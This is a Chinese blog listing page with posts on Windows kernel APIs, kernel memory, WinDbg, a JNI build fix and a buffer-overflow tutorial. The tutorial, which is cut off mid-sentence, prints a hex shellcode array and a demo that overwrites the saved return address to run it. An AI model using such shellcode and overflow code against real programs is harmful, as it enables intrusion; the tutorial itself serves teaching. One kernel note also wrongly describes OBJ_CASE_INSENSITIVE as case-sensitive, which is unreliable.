首页
归档
友情链接
关于
Search
1
在wsl2中安装archlinux
270 阅读
2
从零开始配置 vim(15)——状态栏配置
159 阅读
3
nvim番外之将配置的插件管理器更新为lazy
145 阅读
4
2018总结与2019规划
138 阅读
5
PDF标准详解(五)——图形状态
116 阅读
软件与环境配置
读书笔记
编程
Thinking
FIRE
菜谱
翻译
登录
Search
标签搜索
c++
c
学习笔记
windows
文本操作术
编辑器
NeoVim
Vim
win32
emacs
读书笔记
elisp
VimScript
linux
文本编辑器
投资理财
Java
反汇编
OLEDB
数据库编程
Masimaro
累计撰写
396
篇文章
累计收到
32
条评论
首页
栏目
软件与环境配置
读书笔记
编程
Thinking
FIRE
菜谱
翻译
页面
归档
友情链接
关于
搜索到
396
篇与
的结果
2016-11-30
Windows内核函数
字符串处理在驱动中一般使用的是ANSI字符串和宽字节字符串,在驱动中我们仍然可以使用C中提供的字符串操作函数,但是在DDK中不提倡这样做,由于C函数容易导致缓冲区溢出漏洞,针对字符串的操作它提供了一组函数分别用来处理ANSI字符串和UNICODE字符串。针对两种字符串,首先定义了它们的结构体typedef struct _STRING { USHORT Length;//字符串的长度 USHORT MaximumLength;//字符缓冲的长度 PCHAR Buffer;//字符缓冲的地址 } ANSI_STRING, *PANSI_STRING; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;对于这两个字符串的打印,可以使用%wZ打印UNICODE_STRING用%Z打印ANSI_STRING字符串的初始化VOID RtlInitAnsiString( IN OUT PANSI_STRING DestinationString, IN PCSZ SourceString ); VOID RtlInitUnicodeString( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString );这两个函数只是简单的将SourceString 的首地址赋值给Buffer成员,并初始化相关的长度,所以在使用时需要考虑缓冲的生命周期,权限,同时如果我们改变SourceString 里面存储的字符串,那么对应的UNICODE_STRING 或者ANSI_STRING中的值也会改变,比如下面的代码RtlInitUnicodeString(&uTest, L"Hello World"); RtlCopyMemory(uTest.Buffer, L"Test");由于Buffer指向的是不可修改的常量内存部分,所以后面试图修改它的时候会造成程序崩溃。void InitString(&pUnicodeString) { WCHAR szBuf[255] = L"Hello world"; RtlInitUnicodeString(pUnicodeString, szBuffer); } void test() { UNICODE_STRING uTest; InitString(&uTest); //后面的操作 }我们在另外一个函数中利用局部变量来初始化这个字符串的时候由于当函数调用完成,函数中局部变量被销毁,这个时候指向的那块内存可能已经被其他函数所占用,而我们后面通过操作UNICODE_STRING,又要操作这段内存,这个时候一定会出现问题,所以一般如果要在多个函数中使用这个UNICODE_STRING时一般申请一段堆内存,但是在使用完成后一定要记得自己回收这段内存,否则会造成内存泄露,对此DDK专门提供了一组函数来销毁字符串中的堆内存VOID RtlFreeAnsiString( IN PANSI_STRING AnsiString ); VOID RtlFreeUnicodeString( IN PUNICODE_STRING UnicodeString );字符串拷贝:VOID RtlCopyString( IN OUT PSTRING DestinationString, IN PSTRING SourceString OPTIONAL ); VOID RtlCopyUnicodeString( IN OUT PUNICODE_STRING DestinationString, IN PUNICODE_STRING SourceString );字符串比较LONG RtlCompareString( IN PSTRING String1, IN PSTRING String2, BOOLEAN CaseInSensitive//是否忽略大小写 ); LONG RtlCompareUnicodeString( IN PUNICODE_STRING String1, IN PUNICODE_STRING String2, IN BOOLEAN CaseInSensitive );字符串转化为大写VOID RtlUpperString( IN OUT PSTRING DestinationString, IN PSTRING SourceString ); NTSTATUS RtlUpcaseUnicodeString( IN OUT PUNICODE_STRING DestinationString, IN PCUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString//是否要求该函数自行为输出参数分配内存 );这两个函数在调用是目标字符串和源字符串可以是同一个字符串字符串与整形数字之间的转化可以使用函数NTSTATUS RtlUnicodeStringToInteger( IN PUNICODE_STRING String, IN ULONG Base OPTIONAL,//需要的数的进制 OUT PULONG Value ); NTSTATUS RtlIntegerToUnicodeString( IN ULONG Value, IN ULONG Base OPTIONAL, IN OUT PUNICODE_STRING String );ANSI与UNICODE字符串的相互转化可以使用下面的函数NTSTATUS RtlUnicodeStringToAnsiString( IN OUT PANSI_STRING DestinationString, IN PUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString ); NTSTATUS RtlAnsiStringToUnicodeString( IN OUT PUNICODE_STRING DestinationString, IN PANSI_STRING SourceString, IN BOOLEAN AllocateDestinationString );文件操作创建或者打开一个文件文件的创建和打开都是使用函数ZwCreateFileNTSTATUS ZwCreateFile( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER AllocationSize OPTIONAL, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, IN PVOID EaBuffer OPTIONAL, IN ULONG EaLength );FileHandle:这个函数通过这个参数返回文件句柄DesiredAccess:以何种权限打开或者创建这个文件,GENERIC_READ可读,GENERIC_WRITE可写,GENERIC_EXECUTE可执行,GENERIC_ALL所有权限ObjectAttributes:这是一个文件属性的结构体,里面包含有要打开的文件的名称IoStatusBlock:接受函数操作文件的结果状态AllocationSize:指定在创建爱女或者写文件时初始大小,如果给0,则文件大小会随着写入数据的增加而动态的增加FileAttributes:指定新创建文件的属性,一般给0或者FILE_ATTRIBUTE_NORMALShareAccess:文件的共享权限,其他线程或者进程通过这个句柄访问文件的权限,给0表示不允许其他进程通过这个句柄访问,FILE_SHARE_READ读, FILE_SHARE_WRITE写,FILE_SHARE_DELETE删除CreateDisposition:指定当文件存在或者不存在时这个函数的动作。它的取值可以有下面几个取值文件存在文件不存在FILE_SUPERSEDE新建一个文件替代新建文件FILE_CREATE返回一个错误创建文件FILE_OPEN打开文件返回一个错误FILE_OPEN_IF打开文件创建文件FILE_OVERWRITE打开,并且将之前的内容覆盖返回错误FILE_OVERWRITE_IF打开,并且将之前的内容覆盖创建文件CreateOptions打开或者创建文件时的附加操作,一般给FILE_SYNCHRONOUS_IO_NONALERTEaBuffer指向扩展空间的指针EaLength扩展空间的大小这个函数与应用层的CreateFile不同的时,在指定打开或者创建文件名时是使用结构OBJECT_ATTRIBUTES来指定,针对这个结构,有一个函数能够初始化它VOID InitializeObjectAttributes( OUT POBJECT_ATTRIBUTES InitializedAttributes, IN PUNICODE_STRING ObjectName,//文件名 IN ULONG Attributes, IN HANDLE RootDirectory, IN PSECURITY_DESCRIPTOR SecurityDescriptor );Attributes:该对象的描述信息,一般给OBJ_CASE_INSENSITIVE 表示对大小写敏感RootDirectory :该文件的根目录,一般给NULLSecurityDescriptor :安全描述符,一般也是给NULL另外这里的名称必须使用符号链接名或者设备名,而不是我们熟悉的“C:\”这种形式对于C盘可以使用名称“\??\C”或者“\Device\HarddiskVolum1”这种形式当程序结束时需要调用ZwClose来清理文件句柄这个函数的参数比较简单,只是简单的传入文件句柄即可获取和设置文件的相关信息可以下面两个函数分别获取和设置文件的相关信息NTSTATUS ZwQueryInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSTATUS ZwSetInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass );其中FileInformationClass是一个枚举值,根据这个值得不同FileInformation可以被解析成不同的内容。当这个参数为FileStandardInformation时,使用结构体FILE_STANDARD_INFORMATIONtypedef struct FILE_STANDARD_INFORMATION { LARGE_INTEGER AllocationSize; //为文件分配簇所占空间的大小 LARGE_INTEGER EndOfFile;//距离文件结尾还有多少字节,当文件指针位于文件头时,这个值就是文件本身大小 ULONG NumberOfLinks;//有多少个链接文件 BOOLEAN DeletePending;//是否准备删除 BOOLEAN Directory;//是否为目录 } FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;当这个参数为FileBasicInformation使用结构体FILE_BASIC_INFORMATIONtypedef struct FILE_BASIC_INFORMATION { LARGE_INTEGER CreationTime; //创建时间 LARGE_INTEGER LastAccessTime;//上次访问时间 LARGE_INTEGER LastWriteTime;//上次写文件时间 LARGE_INTEGER ChangeTime;//上次修改时间 ULONG FileAttributes;//文件属性 } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;其中时间参数是一个LARGE_INTEGER类型的整数,代表从1601年到现在经过多少个100ns。文件属性参数如果为FILE_ATTRIBUTE_DIRECTORY表示这是一个目录文件,FILE_ATTRIBUTE_NORMAL表示是一个普通文件,FILE_ATTRIBUTE_HIDDEN表示这是一个隐藏文件,FILE_ATTRIBUTE_SYSTEM表示这是一个系统文件,FILE_ATTRIBUTE_READONLY表示这是一个只读文件当这个参数为FileNameInformation时,使用结构体FILE_NAME_INFORMATIONtypedef struct _FILE_NAME_INFORMATION { ULONG FileNameLength;//文件名长度 WCHAR FileName[1];//文件名 } FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;当这个参数是FilePositionInformation时,使用结构体FILE_POSITION_INFORMATIONtypedef struct FILE_POSITION_INFORMATION { LARGE_INTEGER CurrentByteOffset;//当前文件指针的位置 } FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION;读写文件写文件调用函数ZwCreateFileNTSTATUS ZwWriteFile( IN HANDLE FileHandle,//文件句柄 IN HANDLE Event OPTIONAL,//时间对象一般给NULL IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,//一般给NULL IN PVOID ApcContext OPTIONAL,//一般给NULL OUT PIO_STATUS_BLOCK IoStatusBlock,//记录写操作的状态用里面的Information成员记录实际写了多少字节 IN PVOID Buffer,//写入文件中缓冲区的指针 IN ULONG Length,//缓冲区中数据的长度 IN PLARGE_INTEGER ByteOffset OPTIONAL,//从文件的多少地址开始写 IN PULONG Key OPTIONAL//一般给NULL );读文件使用函数ZwReadFileNTSTATUS ZwReadFile( IN HANDLE FileHandle,//文件句柄 IN HANDLE Event OPTIONAL,//一般给NULL IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,//一般给NULL IN PVOID ApcContext OPTIONAL,//一般给NULL OUT PIO_STATUS_BLOCK IoStatusBlock, //读取的字节数保存在结构的成员Information中 OUT PVOID Buffer,//缓冲区的指针 IN ULONG Length,//缓冲区的长度 IN PLARGE_INTEGER ByteOffset OPTIONAL,//从文件的多少位置开始读 IN PULONG Key OPTIONAL//一般给NULL );注册表操作注册表中有下面几个概念:注册表项:注册表项类似于目录的概念,下面可以有子项或者注册表的键-值对注册表子项:类似于子目录的概念键名:通过键名可以寻找到相应的键值键值类别:每个键值在存储的时候有不同的类型,相当于变量的类型,主要有字符串和整型键值:键名下对应存储的数据创建和关闭注册表创建注册表使用函数ZwCreateKeyNTSTATUS ZwCreateKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG TitleIndex, IN PUNICODE_STRING Class OPTIONAL, IN ULONG CreateOptions, OUT PULONG Disposition OPTIONAL );KeyHandle:输出一个注册表对应项的句柄,以后针对这个项操作都是以这个句柄作为标示DesiredAccess:访问权限,一般都设置为KEY_ALL_ACCESSObjectAttributes:用法与文件操作中的用法相同其中应用层中注册表项与内核中注册表项的对应关系如下:应用层中的子健内核中的路径HKEY_CLASSES_ROOT没有对应的路径HKEY_CURRENT_USER没有简单的对应路径,但是可以求得HKEY_USERS\Registry\UserHKEY_LOCAL_MACHINE\Registry\MachineTitleIndex:一般设置为0Class 一般给NULLCreateOptions:创建选项,一般给REG_OPTION_NON_VOLATILEDisposition:返回创建的状态,如果是REG_CREATED_NEW_KEY表示创建了一个新的注册表项如果是REG_OPENED_EXISTING_KEY表示打开一个已有的注册表项添加、修改注册表键注册表中的键是类似与字典中的键值对,通过键名找到对应的值,键值的类型大致可以分为下面几种分类描述REG_BINARY键值采用二进制存储REG_SZ键值用宽字符串,以\0结尾REG_EXPAND_SZ与上面的REG_SZ相同,它是上面那个字符串的扩展字符REG_MULTI_SZ能够存储多个字符串,每个都以\0隔开REG_DWORD键值用4字节整型存储(这个类型的数据在驱动中使用ULONG来替代)REG_QWORD键值用8字节存储(这个用LONGLONG)用函数ZwSetValueKey可以添加和修改注册表的一项内容 NTSTATUS ZwSetValueKey( IN HANDLE KeyHandle, //注册表句柄 IN PUNICODE_STRING ValueName,//要修改或者新建的键名 IN ULONG TitleIndex OPTIONAL,//一般设置为0 IN ULONG Type,//在上面的表中选择一个 IN PVOID Data,//键值 IN ULONG DataSize//键值数据的大小 );当传入的键值不存在则创建一个新键值,否则就修改原来的键值查询注册表查询注册表使用函数ZwQueryValueKeyNTSTATUS ZwQueryValueKey( IN HANDLE KeyHandle, //注册表句柄 IN PUNICODE_STRING ValueName,//注册表键名 IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation,//接收返回信息的缓冲区 IN ULONG Length,//缓冲区的大小 OUT PULONG ResultLength//真实缓冲区的大小 );使用这个函数时利用参数KeyValueInformationClass来指定接收数据的类型,根据这个值的不同,函数会返回不同的结构体放到一个缓冲区中。一般这个值可取:KeyValueBasicInformation 返回注册表项的基础信息KeyValueFullInformation 返回注册表的全部信息KeyValuePartialInformation 返回注册表的部分信息一般情况下使用KeyValuePartialInformation查询键值数据利用这个函数来查询时一般也是采用两次调用的方式,第一次返回数据所需缓冲,然后分配缓冲并进行第二次调用枚举子项DDK提供了两个函数用于这个功能NTSTATUS ZwQueryKey( IN HANDLE KeyHandle,//注册表句柄 IN KEY_INFORMATION_CLASS KeyInformationClass,//保存注册表信息的结构体的类型 OUT PVOID KeyInformation,//返回查询到信息的缓冲 IN ULONG Length,//缓冲的大小 OUT PULONG ResultLength//真正信息的大小 ); NTSTATUS ZwEnumerateKey( IN HANDLE KeyHandle,//句柄 IN ULONG Index,//这个值是表示第几个子项 IN KEY_INFORMATION_CLASS KeyInformationClass,//查询到的信息的结构体 OUT PVOID KeyInformation,//返回信息的缓冲 IN ULONG Length,//缓冲长度 OUT PULONG ResultLength//返回信息的长度 );其中ZwQueryKey函数用于查询某个注册表项中有多少个子项,在调用这个函数时传入的KeyInformationClass的值一般给KeyFullInformation,在这个结构体中的SubKeys表示有多少个子项,而ZwEnumerateKey则是用于查询各个子项中的具体内容,通过指定Index表示我们要查询该项中的第几个子项,将KeyInformationClass填入KeyBasicInformation,这样在结构体的Name里面可以得到具体的注册表子项的名称枚举子健枚举子键的方法于上面的大致相同,首先利用ZwQueryKey查询注册表,然后取结构体KeyFullInformation的成员Values,根据这个值在循环中依次调用函数ZwEnumerateValueKey,结构体类填入 KeyValueBasicInformation查询基本信息即可删除子项删除子项使用的内核函数是ZwDeleteKeyNTSTATUS ZwDeleteKey( IN HANDLE KeyHandle );这个函数只能删除没有子项的项目,如果有子项,则需要先删除所有子项。其他注册表函数为了简化注册表操作,DDK提供了另外一组以Rtl开头的函数,把之前的Zw函数进行了封装,下面是这些函数与它们功能的对应关系函数名描述RtlCreateRegistryKey创建注册表项RtlCheckRegistryKey查看注册表中的某项是否存在RtlWriteRegistryValue写注册表RtlDeleteRegistryValue删除注册表的子键
2016年11月30日
18 阅读
0 评论
0 点赞
2016-11-26
Windows内核中的内存管理
内存管理的要点内核内存是在虚拟地址空间的高2GB位置,且由所有进程所共享,进程进行切换时改变的只是进程的用户分区的内存驱动程序就像一个特殊的DLL,这个DLL被加载到内核的地址空间中,DriverEntry和AddDevice例程在系统的system进程中运行,派遣函数会运行在应用程序的进程上下文中所能访问的地址空间是这个进程的虚拟地址空间利用_EPROCESS结构可以查看该进程的相关信息当程序的中断级别在DISPATCH_LEVEL之上时,必须使用非分页内存,否则会造成系统蓝屏,在编译WDK相关例程时,可以使用如下的宏指定某个例程或者某个全局变量是位于分页内存还是运行于非分页内存#define PAGEDCODE code_seg("PAGE") //分页内存 #define LOCKEDCODE code_seg() //非分页内存 #define INITCODE code_seg("INIT") //指定在相关函数执行完成后就从内存中卸载下来 #define PAGEDDATA data_seg("PAGE") #define LOCKEDDATA data_seg() #define INITDATA data_seg("INIT")在使用时直接使用#pragma直接加载这些宏即可比如:#pragma PAGEDCODE VOID DoSomething() { PAGED_CODE() //函数体 }其中PAGED_CODE是一个WDK中提供的一个宏,只在debug版本中生效,用于判断当前的中断请求级别,当级别高于DISPATCH_LEVEL(包含这个级别)时会产生一个断言内核中的堆申请函数PVOID ExAllocatePool( IN POOL_TYPE PoolType, IN SIZE_T NumberOfBytes ); PVOID ExAllocatePoolWithTag( IN POOL_TYPE PoolType, IN SIZE_T NumberOfBytes, IN ULONG Tag ); PVOID ExAllocatePoolWithQuota( IN POOL_TYPE PoolType, IN SIZE_T NumberOfBytes ); PVOID ExAllocatePoolWithQuotaTag( IN POOL_TYPE PoolType, IN SIZE_T NumberOfBytes, IN ULONG Tag );PoolType:这是一个枚举变量,用来表示分配内存的种类,如果为PagedPool表示分配的是分页内存,如果是NonPagedPool表示分配的是非分页内存NumberOfBytes:分配内存的大小,为了效率最好分配4的倍数上面这些函数主要分为带有标记和不带标记的两种,其中有Quota的是按配额分配,带有标记的函数可以通过这个标记来判断这块内存最后有没有被分配,标记是一个字符串,但是这个字符串是用单引号引起来的。一般给4个字符,由于IntelCPU采用的是高位优先的存储方式,所以为了阅读方便,一般将这个字符串倒着写这些函数分配的内存一般使用下面的函数来释放VOID ExFreePool( IN PVOID P ); NTKERNELAPI VOID ExFreePoolWithTag( IN PVOID P, IN ULONG Tag ); 在驱动中使用链表WDK给程序员提供了两种基本的链表结构,分别是单向链表和双向链表双向链表的结构体定义如下:typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; //指向下一个节点 struct _LIST_ENTRY *Blink; //指向上一个节点 } LIST_ENTRY, *PLIST_ENTRY;初始化链表使用宏InitializeListHead,它需要传入一个链表的头节点指针它的定义如下VOID InitializeListHead( IN PLIST_ENTRY ListHead );这个宏只是简单的将链表头的Flink和Blink指针指向它本身。利用宏IsListEmpty可以检查一个链表是否为空,它也是只简单的检查这两个指针是否指向其自身在定义自己的数据结构的时候需要将这个结构体放到自定义结构体中,比如typedef struct _MYSTRUCT { LIST_ENTRY listEntry; ULONG i; ULONG j; }MYSTRUCT, *PMYSTRUCT一般插入链表有两种方法,头插法和尾插法,DDK根据这两种方法都给出了具体的函数可供操作://头插法,采用头插法只改变链表数据的顺序,链表头仍然是链表中的第一个元素 VOID InsertHeadList( IN PLIST_ENTRY ListHead, //链表头指针 IN PLIST_ENTRY Entry //对应节点中的LIST_ENTRY指针 ); //尾插法 VOID InsertTailList( IN PLIST_ENTRY ListHead, IN PLIST_ENTRY Entry );删除节点使用的是这样两个函数,同样采用的是从头部开始删除和从尾部开始删除,就是查找链表中节点的方向不同。//从头部开始删除 PLIST_ENTRY RemoveHeadList( IN PLIST_ENTRY ListHead ); //从尾部开始删除 PLIST_ENTRY RemoveTailList( IN PLIST_ENTRY ListHead );这两个函数都是传入头节点的指针,返回被删除那个节点的指针,这里有一个问题,我们如何根据返回PLIST_ENTRY结构找到对应的用户定义的数据,如果我们将LIST_ENTRY,这个节点放在自定义结构体的首部的时候,返回的地址就是结构体的地址,如果是放在其他位置,则需要根据结构体的定义来进行转化,对此WDK提供了这样一个宏来帮我们完成这个工作:PCHAR CONTAINING_RECORD( IN PCHAR Address, IN TYPE Type, IN PCHAR Field );这个宏返回自定义结构体的首地址,传入的是第一个参数是结构体中某个成员的地址,第二个参数是结构体名,第三个参数是我们传入第一个指针的类型在结构体中对应的成员变量值,比如对于上面那个MYSTRUCT结构体可以这样使用typedef struct _MY_LIST_DATA { LIST_ENTRY list; ULONG i; }MY_LIST_DATA, *PMY_LIST_DATA; PLIST_ENTRY pListData = RemoveHeadList(&head);//head是链表的头节点 PMYSTRUCT pData = CONTAINING_RECORD(pListData, MYSTRUCT, list);Lookaside结构频繁的申请和释放内存将造成内存空洞,即出现大量小块的不连续的内存片段,这个时候即使内存仍有剩余,但是我们也申请不了内存,一般在操作系统空闲的时候会进行内存整理,将空洞内存进行合并,如果驱动需要频繁的从内存中申请释放相同大小的内存块,DDK提供了Lookaside内存容器,在初始时它先向系统申请了一块比较大的内存,以后程序每次申请内存的时候不是直接在Windows堆中进行分配,而是在这个容器中,Lookaside结构会智能的避免产生内存空洞,如果申请的内存过多,lookaside结构中的内存不够时,他会自动向操作系统申请更多的内存,如果lookaside内部有大量未使用的内存时,他会自动释放一部分,总之它是一个智能的自动调整内存大小的一个容器。一般应用于以下几个方面:程序每次申请固定大小的内存申请和回收的操作十分频繁使用时首先初始化Lookaside对象,调用函数VOID ExInitializeNPagedLookasideList( IN PNPAGED_LOOKASIDE_LIST Lookaside, IN PALLOCATE_FUNCTION Allocate OPTIONAL, IN PFREE_FUNCTION Free OPTIONAL, IN ULONG Flags, IN SIZE_T Size, IN ULONG Tag, IN USHORT Depth );或者VOID ExInitializePagedLookasideList( IN PPAGED_LOOKASIDE_LIST Lookaside, IN PALLOCATE_FUNCTION Allocate OPTIONAL, IN PFREE_FUNCTION Free OPTIONAL, IN ULONG Flags, IN SIZE_T Size, IN ULONG Tag, IN USHORT Depth );这两个函数一个是操作的是非分页内存,一个是分页内存。Lookaside:这个参数是一个NPAGED_LOOKASIDE_LIST的指针,在初始化前需要创建这样一个结构体的变量,但是不用填写其中的数据。Allocate:这个参数是一个分配内存的回调函数,一般这个值填NULLFree:这是一个释放的函数,一般也填NULL这两个函数有点类似于C++中的构造与析构函数,如果我们对申请的内存没有特殊的初始化的操作,一般这个两个都给NULLFlags:这是一个保留字节,必须为NULLSize:指明明我们每次在lookaside容器中申请的内存块的大小每次申请的内存块的标志,这个标志与上面的WithTag函Tag:数申请内存时填写的标志相同Depth:系统保留,必须填0创建容器之后,可以用下面两个函数来分配内存PVOID ExAllocateFromNPagedLookasideList( IN PNPAGED_LOOKASIDE_LIST Lookaside ); PVOID ExAllocateFromPagedLookasideList( IN PPAGED_LOOKASIDE_LIST Lookaside );用下面两个函数来释放内存VOID ExFreeToNPagedLookasideList( IN PNPAGED_LOOKASIDE_LIST Lookaside, IN PVOID Entry ); VOID ExFreeToPagedLookasideList( IN PPAGED_LOOKASIDE_LIST Lookaside, IN PVOID Entry );最后可以使用下面两个函数来释放Lookaside对象VOID ExDeleteNPagedLookasideList( IN PNPAGED_LOOKASIDE_LIST Lookaside ); VOID ExDeletePagedLookasideList( IN PPAGED_LOOKASIDE_LIST Lookaside );其他内存函数内存拷贝函数VOID RtlCopyMemory( IN VOID UNALIGNED *Destination, IN CONST VOID UNALIGNED *Source, IN SIZE_T Length );需要注意的是这个函数没有考虑到内存重叠的情况,假如内存发生重叠例如这样:这个时候AC内存块和BD内存块有部分重叠,如果将AC拷贝到BD那么会改变AC的值,这样在拷贝到BD中的值也会发生变化,有可能造成错误,为了保证重叠也可以正常拷贝,可以使用函数void MoveMemory( __in PVOID Destination, __in const VOID* Source, __in SIZE_T Length );填充内存一般使用函数void FillMemory( [out] PVOID Destination, [in] SIZE_T Length, [in] BYTE Fill );另外DDK另外提供了一个将内存清零的函数VOID RtlZeroMemory( IN VOID UNALIGNED *Destination, IN SIZE_T Length );内存比较函数ULONG RtlEqualMemory( CONST VOID *Source1, CONST VOID *Source2, SIZE_T Length );这个函数返回的是两块内存中相同的字节数,如果要比较两块内存是否完全相同,可以将返回值与Length相比较,如果相等则说明两块内存相同,否则不相同,另外为了实现这个功能DDK提供了一个与该函数同名的宏来判断,具体在编写代码时可以根据情况判断调用的是函数还是宏。在内核中,对于内存的读写要相当的谨慎,稍不注意就可能产生一个新漏洞或者造成系统的蓝屏崩溃,有时在读写内存前需要判断该内存是否合法可供读写,DDK提供了两个函数来判断内存是否可读可写VOID ProbeForRead( IN CONST VOID *Address, IN SIZE_T Length, IN ULONG Alignment//当前内存是以多少字节对齐的 ); VOID ProbeForWrite( IN CONST VOID *Address, IN SIZE_T Length, IN ULONG Alignment );这两个函数在内存不可读写的时候引发一个异常,需要用结构化异常进行处理,这里使用结构化异常的方式与在应用层的使用方式相同其他数据结构typedef union _LARGE_INTEGER { struct { DWORD LowPart; LONG HighPart; }; struct { DWORD LowPart; LONG HighPart; } u; LONGLONG QuadPart; } LARGE_INTEGER, *PLARGE_INTEGER;这个结构用来表示64位二进制的整形数据,它是一个共用体,占内存大小是64位8个字节,从定义上来看可以看做一个LONGLONG型数据,也可以看做两个4字节的数据。
2016年11月26日
13 阅读
0 评论
0 点赞
2016-11-23
windbg蓝屏调试
一般在写Windows内核程序的时候,经常会出现蓝屏的问题,这个时候一般是采用记录下dump文件然后用windbg查看得方式,具体的过程就不说了,网上一大堆的内容。现在我主要记录自己当初按照网上的方案出现windbg的open crashdump项呈现灰色的情况。就像下面这样这个问题曾今百思不得其解,曾今一度以为是自己的win10不能很好的兼容这个,后来发现自己想多了( ^_^ ),现在公布这个问题的解决方案。主要是确保下面的工作完成1)首先需要在虚拟机上确保我们打开了抓取dump文件的功能,怎么打开百度上有一大堆。2)接着就是真实机上也要打开这个功能3)然后最重要的就是关闭虚拟机,不要让windbg连上了虚拟机,它连上了虚拟机就会呈现选项变灰的情况,查看dump文件是我们在真实机里面进行的,之前一直不知道这点,结果怎么试都不行。如果还是不行,可以考虑关了虚拟机之后重启windbg。然后可以看到已经能使用这个选项了。在调试dump文件时要确保自己已经下载了Windows内核的符号表,然后打开dump文件就可以分析出错的位置了
2016年11月23日
15 阅读
0 评论
0 点赞
2016-11-07
Error: Your project contains C++ files but it is not using a supported native build system
我在编写有关JNI的代码的时候回报这个错误,我在网上搜了相关的资料后,找到了一篇文章解决了这个问题,点击这里查看这篇文章,我在照着这篇文章尝试的时候,总有一些错误,现在我把自己详细的解决流程贴出来,供大家参考。首先在工程目录下的gradle.properties文件的末尾加上一句:Android.useDeprecatedNdk=true如图:然后再在文件build.gradle(Module:app)里面的buildTypes类中添加一个这样的方法sourceSets { main { jni.srcDirs = [] } }如下图所示这样就可以编译成功了
2016年11月07日
15 阅读
0 评论
0 点赞
2016-10-31
缓冲区溢出漏洞
缓冲区溢出的根本原因是冯洛伊曼体系的计算机并不严格的区分代码段和数据段,只是简单的根据eip的指向来决定哪些是代码,所以缓冲区溢出攻击都会通过某种方式修改eip的值,让其指向恶意代码。缓冲区溢出攻击一般分为堆缓冲区溢出攻击和栈缓冲区溢出攻击栈缓冲区溢出攻击栈缓冲区溢出攻击的一般是传入一个超长的带有shellcode的字符缓冲,覆盖栈中的EIP值,这样当函数执行完成返回后就会返回到有shellcode的地方,执行恶意代码,下面我们通过一个例子详细的分析void msg_display(char * buf) { char msg[200]; strcpy(msg,buf); cout<<msg<<endl; }这个函数分配了200个字节的缓冲区,然后通过strcpy函数将传进来的字符串复制到缓冲区中,最后输出,如果传入的字符串大于200的话就会发生溢出,并向后覆盖堆栈中的信息,如果只是一些乱码的话那个最多造成程序崩溃,如果传入的是一段精心设计的代码,那么计算机可能回去执行这段攻击代码。在调用函数时它的汇编代码大致上是这样的;调用函数 push buf call msg_display ;函数调用完成后平衡堆栈 add esp, 4 ;函数中的汇编代码 ;保留原始的ebp,在release版中没有ebp push ebp mov eb, esp ;这个具体是多少我也 不太清楚,VC上默认给48h再加上函数中所有局部变量的大小计算得到的是110h sub esp 110h ;....其他操作 ;返回 mov esp,ebp pop ebp ret函数的堆栈大致如下如果传入的buf长度小于等于200的话,那么这个函数不会有问题,如果传入的大于200就会向后面溢出,覆盖后面的内容,一般针对这种漏洞,攻击者会精心构造一个字符串,这段字符串大致是由这些内容组成:204个不为0的随机字符 + jmp esp指令的地址+shellcode这样在最后执行完函数中的操作时在返回时会将eip的值改成jmp esp的指令所在的地址,CPU就会执行esp所指向的位置的指令,而这个位置正是攻击者通过溢出手段所提供的攻击代码。至于这个jmp esp的地址在原始程序所生成的汇编代码中有大量这样的代码,通过暴力搜索很容易得到,覆盖之后,在函数返回之前的时候堆栈的环境大致如下ret指令与call是互逆的,首先ret地址出栈,这样esp就指向后面的攻击代码,然后根据eip指向的地址去执行jmp esp的代码,这样就能顺利的去执行攻击代码了。下面是一个利用缓冲区溢出攻击的例子unsigned char shellcode[] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x7b\x1d\x80\x7c" "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" "\xFF\xD0"; void func1(char* s) { char buf[10]; strcpy(buf, s); } void func2(void) { printf("Hacked by me.\n"); exit(0); } int main(int argc, char* argv[]) { char badCode[] = "aaaabbbb2222cccc4444ffff"; DWORD* pEIP = (DWORD*)&badCode[16]; //*pEIP = (DWORD)func2; *pEIP = (DWORD)shellcode; func1(badCode); return 0; }这个代码是xp的debug模式下运行,func1会出现缓冲区溢出的漏洞,在主函数中我们利用了这个漏洞,传入了一个超长的字符串,其中shellcode是一个开启command part对应的机器码,在主函数中我们首先定义了一个非法的字符串,然后将字符串的弟16个字符赋值为shellcode的首地址,为什么这里是16个呢,稍作计算就可以得出这个数,在func1中提供的缓冲是10个,根据内存对齐,其实它是占12个字节,接着在他的下面是老ebp,占4个字节,所以eip的返回地址是在buf + 12 + 4 = buf + 